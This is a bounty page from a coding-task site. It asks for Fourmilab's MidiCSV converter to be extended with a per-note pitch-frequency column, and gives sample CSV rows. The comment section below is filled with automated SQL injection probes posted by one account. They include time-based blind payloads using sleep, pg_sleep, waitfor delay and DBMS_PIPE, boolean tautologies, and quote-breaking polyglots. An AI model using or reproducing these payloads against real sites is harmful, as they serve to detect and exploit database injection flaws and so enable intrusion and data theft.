Bounty to add an information in existing MidiCSV program
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

For a music audio analysis project, I should convert an audio file (Wav or MP3) to standard midifile ie., example.mid, which I am doing with help of bear audio converter tool available online. The midi file is then converted to a csv file, with help of Fourmilab's MidiCSV program. The resulting csv file constitutes of 6 separate columns of note information along with a header and footer.

Now the existing MidiCSV program appears to skip including an important information of project interest, that of the 'pitch tuning' of each note. We need to introduce that new column of data, within the csv file just beside the note value column. ie. column # 6.

Each data cell of this new column, should contain absolute pitch or absolute frequency value of the note (tuning information of that note) in either Hertz (With 3 digits precision including round up) or Octave, semitone and cents.

example rows from current midicsv program output:
.......
1, 2800, Note_on_c, 0, 66, 15
1, 2986, Note_on_c, 0, 63, 47
1, 2989, Note_off_c, 0, 66, 64
1, 2990, Note_off_c, 0, 63, 64
1, 2990, Note_on_c, 0, 64, 57
1, 2990, Note_on_c, 0, 88, 21
.... and so on

Example of desired output
.........
1, 2800, Note_on_c, 0, 66, 369.9123, 15
1, 2986, Note_on_c, 0, 63, 311.1270, 47
1, 2989, Note_off_c, 0, 66, 370.2532, 64
1, 2990, Note_off_c, 0, 63, 310.8902, 64
1, 2990, Note_on_c, 0, 64, 329.6242, 57
1, 2990, Note_on_c, 0, 88, 1320.2132, 21
......... and so on.

To sum up, this bounty includes following 2 tasks.

  1. Find out where does the midifile store the tuning information of each note and
  2. Manifest that information, as specified above, within the csv output from your program.
FtoumgIs
gbtagbbj 1 month ago
-1 OR 2+200-200-1=0+0+0+1
gbtagbbj 1 month ago
-1 OR 3+200-200-1=0+0+0+1
gbtagbbj 1 month ago
RLIKE (SELECT (CASE WHEN (81=81) THEN 1 ELSE 0x28 END)) --
gbtagbbj 1 month ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 1 month ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 1 month ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 1 month ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 1 month ago
1 waitfor delay '0:0:15' --
gbtagbbj 1 month ago
pGtb9OPv'
gbtagbbj 1 month ago
-5 OR 963=(SELECT 963 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
-5) OR 676=(SELECT 676 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
-1)) OR 983=(SELECT 983 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
Lo1GQif1' OR 132=(SELECT 132 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
BzKBll5m') OR 614=(SELECT 614 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
RRoiPo39')) OR 206=(SELECT 206 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 1 month ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 1 month ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 1 month ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 1 month ago
1 month ago

Crowdsource coding tasks.

0 Solutions